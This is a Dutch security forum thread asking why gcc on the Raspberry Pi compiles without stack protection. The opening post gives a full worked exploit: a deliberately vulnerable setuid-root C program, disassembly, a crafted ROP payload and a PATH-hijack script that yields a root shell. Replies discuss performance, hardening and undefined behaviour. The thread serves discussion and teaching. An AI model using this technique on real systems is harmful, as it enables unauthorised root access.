Om het gebruiksgemak te vergroten, de website te kunnen analyseren en om advertenties te kunnen beheren maakt Security.NL gebruik van cookies. Door gebruik te blijven maken van deze website, of door op de akkoord button te klikken, geef je toestemming voor het gebruik van cookies. Wil je meer weten over cookies? Bekijk dan ons cookieoverzicht.
Nieuws Achtergrond Community
Inloggen | Registreren
Computerbeveiliging - Hoe je bad guys buiten de deur houdt

Waarom compileert gcc op de Raspberry Pi standaard zonder stack-beveiliging?

24-04-2019, 11:33 door yobi, 21 reacties
Op de Raspberry PI compileert gcc een applicatie standaard zonder stack-beveiliging.

Merk op, dat de adressen per versie Raspbian kunnen variëren.
(test gedaan met 2019-04-08-raspbian-stretch-lite.img)
POC:

ropme.c ?
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
char buffer[24];
char command[]="/usr/bin/uptime";

system(command);

printf("ROP me : ");
fgets(buffer, 100, stdin);
}

pi@raspberrypi:~/overflow $ gcc ropme.c -o ropme
pi@raspberrypi:~/overflow $ sudo chown root:root ropme
pi@raspberrypi:~/overflow $ sudo chmod 4755 ropme

pi@raspberrypi:~/overflow $ objdump -d ropme
…..
104e8: e88c000f stm ip, {r0, r1, r2, r3}
104ec: e24b302c sub r3, fp, #44 ; 0x2c
104f0: e1a00003 mov r0, r3
104f4: ebffffa0 bl 1037c <system@plt>
104f8: e59f002c ldr r0, [pc, #44] ; 1052c <main+0x64>
104fc: ebffff95 bl 10358 <printf@plt>
10500: e59f3028 ldr r3, [pc, #40] ; 10530 <main+0x68>
10504: e5932000 ldr r2, [r3]
10508: e24b301c sub r3, fp, #28
…..
00010598 <_fini>:
10598: e92d4008 push {r3, lr}
1059c: e8bd8008 pop {r3, pc}

pi@raspberrypi:~/overflow $ objdump -s ropme
…..
Contents of section .rodata:
105a0 01000200 524f5020 6d65203a 20000000 ....ROP me : ...
105b0 2f757372 2f62696e 2f757074 696d6500 /usr/bin/uptime.
Contents of section .ARM.exidx:

pi@raspberrypi:~/overflow $ printf \
"1234567890123456789012345678\x9c\x05\x01\x00\xbc\x05\x01\x00\xf0\x04\x01\x00" >exploit

pi@raspberrypi:~/overflow $ PATH=/tmp:$PATH
pi@raspberrypi:~/overflow $ cp /bin/sh /tmp
pi@raspberrypi:~/overflow $ echo chown root:root /tmp/sh >/tmp/ime
pi@raspberrypi:~/overflow $ echo chmod 4755 /tmp/sh >>/tmp/ime
pi@raspberrypi:~/overflow $ chmod 755 /tmp/ime

pi@raspberrypi:~/overflow $ ./ropme < exploit
10:18:37 up 19 min, 1 user, load average: 0.00, 0.00, 0.00
Segmentation fault
pi@raspberrypi:~/overflow $ /tmp/sh
# id
uid=1000(pi) gid=1000(pi) euid=0(root) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
#
fyi: docker hub gehacked
Microsoft stopt vier jaar eerder dan voorheen gemeld met app-updates Windows 8
Reacties (21)
24-04-2019, 11:38 door Anoniem
Bedankt voor deze constatering. Wat is precies je vraag?

Prima en wat nu? Wat verwacht je nu precies verder van je topic?

Misschien moet je dit even posten of een forum van of raspbian stretch lite beheerders? Of op een gcc forum?

Waar kunnen ze iets met deze informatie.
24-04-2019, 12:23 door Anoniem
Waarschijnlijk omdat al die extra beveiliging dat ding extra langzaam maakt.
24-04-2019, 12:52 door Krakatau
Is duur (performantie).

https://blog.crysys.hu/2018/06/os-hardening-on-the-raspberry-pi/
24-04-2019, 13:24 door Anoniem
Door Krakatau: Is duur (performantie).

https://blog.crysys.hu/2018/06/os-hardening-on-the-raspberry-pi/
Ofwel IOT en Linux issue?

Whats new....
24-04-2019, 13:52 door Anoniem
De Raspberry draait op een Debian variant en is een mini-server. Waar je alles voor kunt vinden. Mits je bereid bent een goeie mini-systeembeheerder te zijn natuurlijk. Ander moet je gewoon een iPhone kopen. Daar is alles al voor je gedaan. Zit een betere processor in ook nog, voor je geld. Dat is een veel beter product voor de slimmere consument.
24-04-2019, 15:13 door Anoniem
Door yobi: Waarom compileert gcc op de Raspberry Pi standaard zonder stack-beveiliging?

Ligt voor de hand. Om redenen van performence en ontwikkelingskosten. Een Raspberry Pi is kinderspeelgoed, en zeker geen internet backbone router.

Verstandige mensen plaatsen een onveilige Raspberry Pi daarom thuis achter de firewall van een LAN-router, of ze zetten er OpenBSD in plaats van Linux op de Pi :-)
24-04-2019, 15:33 door Anoniem
Door Anoniem: De Raspberry draait op een Debian variant en is een mini-server. Waar je alles voor kunt vinden. Mits je bereid bent een goeie mini-systeembeheerder te zijn natuurlijk. Ander moet je gewoon een iPhone kopen. Daar is alles al voor je gedaan. Zit een betere processor in ook nog, voor je geld. Dat is een veel beter product voor de slimmere consument.

Een Raspberry Pi met een iPhone vergelijken slaat natuurlijk helemaal nergens op. Twee volledig verschillende apparaten.
24-04-2019, 15:58 door Krakatau
Door Anoniem:
Door Krakatau: Is duur (performantie).

https://blog.crysys.hu/2018/06/os-hardening-on-the-raspberry-pi/
Ofwel IOT en Linux issue?

Whats new....

Euh? Hoezo? Rasperry Pi kan voor IoT worden toegepast en er staat Linux op. De 'issues' die daarbij kunnen ontstaan betreffen veelal slecht configureren (geen of default passwords, onnodige services, etc.) en geen mogelijkheid tot gemakkelijk updaten van het apparaat.

Wat heeft dit met stack protection te maken? Het is mooi om te hebben maar zonder kan ook.
24-04-2019, 19:18 door Anoniem
Door Anoniem: De Raspberry draait op een Debian variant en is een mini-server. Waar je alles voor kunt vinden. Mits je bereid bent een goeie mini-systeembeheerder te zijn natuurlijk. consument.
En daar gaat het nu iedere keer fout.
24-04-2019, 19:24 door Anoniem
Door Anoniem:
Een Raspberry Pi met een iPhone vergelijken slaat natuurlijk helemaal nergens op. Twee volledig verschillende apparaten.
Meest goedkoopste en meest duurde is kan je inderdaad niet met elkaar vergelijken.
25-04-2019, 09:03 door Anoniem
Bedankt voor je bijdrage! Waarvan notie!
25-04-2019, 15:22 door Anoniem
Dat stuk code is niet goed. Het moet zijn:

fgets(buffer, sizeof(buffer), stdin);

Je krijgt de gereedschappen om je tegen bufferoverruns te beveiligen in handen en nog verprust je het. Sheesj.
25-04-2019, 19:40 door [Account Verwijderd] - Bijgewerkt: 25-04-2019, 19:41
Door Anoniem: Dat stuk code is niet goed. Het moet zijn:

fgets(buffer, sizeof(buffer), stdin);

Je krijgt de gereedschappen om je tegen bufferoverruns te beveiligen in handen en nog verprust je het. Sheesj.

Duh... Hij wil juist de stackbeveiliging triggeren met een bufferoverrun van een stackvariabele. Het barst hier echt van de Dunning-Kruger's nietwaar?
25-04-2019, 21:37 door Anoniem
Waarom compileert gcc op de Raspberry Pi standaard zonder stack-beveiliging?
Antwoord:
https://gcc.gnu.org/onlinedocs/gccint/Stack-Checking.html
(je moet het aanzetten door gcc de gewenste optie mee te geven)

Waarom niet default aan?
Het kost performance, het garandeert niet alles, en security kan vaak op een betere manier worden bereikt.
26-04-2019, 08:57 door Krakatau
Door Kapitein Haddock:
Door Anoniem: <knip>
Je krijgt de gereedschappen om je tegen bufferoverruns te beveiligen in handen en nog verprust je het. Sheesj.

Duh... Hij wil juist de stackbeveiliging triggeren met een bufferoverrun van een stackvariabele.
<knip>

Dat lijkt me ook ja. Het staat zelfs in de titel van deze draad.

P.S. ook opgegroeid met Usenet? (die <knip> in de quotes van jouw posts bezorgt me echt een retro trip).
26-04-2019, 10:38 door Anoniem
In de C++ standaard is dit out-of-bounds indexeren van arrays niet gedefinieerd, het veroorzaakt z.g. "Undefined Behavior", dus wat voor gedrag van het programma jij ook persoonlijk verwacht bij een buffer overrun, de C++ standaard geeft je ongelijk. Je moet dan ook niet vreemd opkijken wanneer een C++ compiler zich aan de C++ standaard houdt.
26-04-2019, 12:17 door [Account Verwijderd]
Door Krakatau: P.S. ook opgegroeid met Usenet? (die <knip> in de quotes van jouw posts bezorgt me echt een retro trip).

Yup!
26-04-2019, 14:23 door Anoniem
Door Anoniem:
Door yobi: Waarom compileert gcc op de Raspberry Pi standaard zonder stack-beveiliging?

Ligt voor de hand. Om redenen van performence en ontwikkelingskosten. Een Raspberry Pi is kinderspeelgoed, en zeker geen internet backbone router.

Verstandige mensen plaatsen een onveilige Raspberry Pi daarom thuis achter de firewall van een LAN-router, of ze zetten er OpenBSD in plaats van Linux op de Pi :-)

Of gebruik helemaal geen Raspberry Pi voor IOT spul of zaken die bloot aan het open net hangen zonder firewall maar een goedkope thin client met ssd/hdd en wat extra ram met een fatsoenlijke processor(vergeleken met een Pi) erin waar de gewone Debian of aderen Linux distro op kan. By the way, die thin clients hebben ook een zeer laag energieverbruik (cpu heeft een tdpvan een paar watt). Heb er zelf thuis een, wel een met een VIA processor x64 ondersteund. Jammere eraan is wel dat net dit model pprocessor een verborde cpu instruction heeft waarmee je een systeem zou kunnen overnemen. Maar goed, Spectre en Meltdown dan? Hmm bedoel maar...
Thin clientje tik je 2e hands voor 10 a 20 euro op de kop, omdat niemand ze wilt hebben. Ben je goedkoper uit dan de Pi, je hebt alleen geen IO zoals de Pi. Ligt er maar net aan wat je wilt. Gewoon een mini HTPC, dan raad ik de thin client mod aan.
26-04-2019, 16:22 door Anoniem
De Raspberry Pi kun je wel degelijk automatisch patchen. Gewoon een script maken dat apt-get update & apt-get upgrade -y doet en dat in een cron job zetten.
26-04-2019, 18:40 door [Account Verwijderd]
Door Anoniem: De Raspberry Pi kun je wel degelijk automatisch patchen. Gewoon een script maken dat apt-get update & apt-get upgrade -y doet en dat in een cron job zetten.

Misschien een goede tip voor die luie IoT-fabrikanten!
26-04-2019, 21:12 door Anoniem
Dat moet van de VS, zodat zij er altijd toegang tot hebben
Reageren

Deze posting is gelocked. Reageren is niet meer mogelijk.

Zoeken
search

Werk jij nog thuis?

18 reacties
Aantal stemmen: 1312
Vacature
Image

Security Officer

36 - 40 uur

Als Security Officer zorg je dat het infrastructuur platform, de -broncode en de VECOZO werkplek van VECOZO zo min mogelijk kwetsbaarheden kennen. Dit doe je door kwetsbaarheden inzichtelijk te maken en op te lossen. Zo speel jij een cruciale rol in de beveiliging van al onze gegevens en bedrijfsmiddelen.

Lees meer
Mag mijn werkgever vragen of ik Corona heb (gehad) of gevaccineerd ben?
13-01-2021 door Arnoud Engelfriet

Juridische vraag: Als mijn werkgever van mij verlangt om aan te geven of ik Corona heb, dan wel mij heb laten testen of mij ...

16 reacties
Lees meer
Advertentie

Image

Certified Secure LIVE Online

Certified Secure is LIVE. Cross Site Scripting vinden en voorkomen? Met z'n allen een volledige kubernetes cluster compromitteren? Of gewoon voorkomen dat een collega op een phishing mail klikt? Ontwikkel ook terwijl je thuiswerkt je Hacker Mindset!

Zoals altijd zijn ook onze LIVE trainingen hands-on en met persoonlijke begeleiding van ervaren Certified Secure instructeurs. Direct vanuit je browser en dus zonder nasty extra software!

Neem contact met ons op voor de mogelijkheden voor jouw team.

Lees meer
SolarWinds: overzicht van een wereldwijde supply-chain-aanval
21-12-2020 door Redactie

Het risico van een supply-chain-aanval, waarbij aanvallers via software of systemen van een derde partij bij organisaties weten ...

15 reacties
Lees meer
Security.NL Twitter
04-11-2016 door Redactie

Altijd meteen op de hoogte van het laatste security nieuws? Volg ons nu ook op Twitter!

Lees meer
Nieuwe Huisregels en Privacy Policy

Op 5 december 2017 hebben we een nieuwe versie van onze huisregels en privacy policy ingevoerd. Om verder te kunnen gaan dien je eenmalig akkoord te gaan met de nieuwe huisregels van Security.NL.

Op 24 mei 2018 hebben we, in het kader van de AVG, onze privacy policy bijgewerkt. Om verder te kunnen gaan dien je eenmalig akkoord te gaan met de bijgewerkte privacy policy. Heb je vragen neem dan contact op met info@security.nl.

Verzenden
Privacy Policy

Op 24 mei 2018 hebben we, in het kader van de AVG, onze privacy policy bijgewerkt. Om verder te kunnen gaan dien je eenmalig akkoord te gaan met de bijgewerkte privacy policy. Heb je vragen neem dan contact op met info@security.nl.

Verzenden
Inloggen

Bedankt! Je kunt nu inloggen op je account.

Wachtwoord vergeten?
Nieuwe code captcha
Inloggen

Wachtwoord Vergeten

Wanneer je hieronder het e-mailadres van je account opgeeft wordt er een nieuwe activatielink naar je gestuurd. Deze link kun je gebruiken om een nieuw wachtwoord in te stellen.

Nieuwe code captcha
Stuur link

Password Reset

Wanneer je het juiste e-mailadres hebt opgegeven ontvang je automatisch een nieuwe activatielink. Deze link kan je gebruiken om een nieuw wachtwoord in te stellen.

Sluiten
Registreren bij Security.NL

Geef je e-mailadres op en kies een alias van maximaal 30 karakters.

Nieuwe code captcha
Verzenden

Registreren

Je hebt je succesvol aangemeld. Voordat je je account kunt gebruiken moet deze eerst geactiveerd worden. Dit kan je zelf doen middels de activatielink die naar het opgegeven e-mailadres is verstuurd.

Sluiten
Over Security.NL
Huisregels
Privacy Policy
Adverteren
© 2001-2020 Security.nl - The Security Council
RSS Twitter